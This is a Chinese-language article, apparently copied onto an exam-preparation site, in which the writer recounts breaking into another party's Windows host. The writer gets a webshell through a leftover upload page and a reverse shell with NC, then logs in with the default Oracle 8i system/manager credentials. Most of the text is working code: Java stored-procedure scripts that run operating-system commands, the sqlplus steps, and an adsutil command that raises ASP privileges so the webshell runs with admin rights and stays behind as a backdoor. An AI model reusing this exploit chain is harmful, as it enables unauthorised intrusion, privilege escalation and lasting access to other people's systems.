

利用ORACLE系统账户默认口令提升权限 PDF转换可能丢失图片或格式，建议阅读原文

[https://www.100test.com/kao\\_ti2020/143/2021\\_2022\\_\\_E5\\_88\\_A9\\_E7\\_94\\_A8ORAC\\_c102\\_143709.htm](https://www.100test.com/kao_ti2020/143/2021_2022__E5_88_A9_E7_94_A8ORAC_c102_143709.htm) 近日，偶到一主机上逛了一圈。主机的配置还算是安全，偏偏一个比较隐藏的目录下残留了upfile.asp，结果轻轻松松的得到了webshell。接着在主机上逛了逛，拿出superscan从外面扫了下，只开放了80端口。从user\程序目录里，发现有一快捷方式：firecontrol，好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务，发现一般的可提权的方法都不可行，无SERV-U等等，主机的补丁也是打到了最新。试了下称了个NC上去，反连接得到一SHELL，这下比在老兵的管理器里舒服多了。在C盘下看到一个目录oracle，看了

下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件，确定了主机的服务名“xxx”，看了下版本“oracle 8i”，用数据库连接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx试了下默认的system账户，密码manager，结果真的就连接到了本地的oracle服务。这下好了，oracle的system账户就像是mssql下的sa，我们来通过他来提升权限，马上编辑了几个脚本。 1. sql create or replace and compilejava source named "Util"asimport java.io.\*. import java.lang.\*. public class Util extends Object{public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(). int rc = -1. try{Process p = rt.exec(args). int bufSize = 4096. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize). int len.byte

```
buffer[] = new byte[bufSize]. // Echo back what the program spit
out while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len). rc = p.waitFor(). } catch (Exception
e) { e.printStackTrace(). rc = -1. } finally{return rc. } }
```

2.sql create or replace function RUN\_CMD(p\_cmd in varchar2) return number as language java name Util.RunThis(java.lang.String) return integer.

3.sql create or replace procedure RC(p\_cmd in varchar2) as x number. begin x := run\_cmd(p\_cmd). end.

保存在c:\下，然后用反连接得到的shell运行 sqlplus system/manager@xxx然后再来执行脚本 SQL>@C:\1.sql SQL>@C:\2.sql SQL>@C:\3.sql 看到JAVA已创建、函数已创建、过程已创建，接着我们继续 SQL> variable x number. SQL> set serveroutput on SQL> exec dbms\_java.set\_output(100000). SQL> grant javasyspriv to system 看到授权成功。接着我们就可以来执行系统命令了。我想先把ASP.dll加入特权一组 SQL> exec :x := RUN\_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetrv\asp.dll" ). 看到过程已经成功完成，这个时候我们重新登陆我们的webshell，他已经具有admin权限了。接着，再用NC返回一个shell，已经是管理权限的，我们可以做我们想干的事了。因为这个主机有防火墙过滤除80以外的端口，所以不好做图形的后门，只有留下一有权限的webshell。到此已经提权成功。 100Test 下载频道开通，各类考试题目直接下载。详细请访问 [www.100test.com](http://www.100test.com)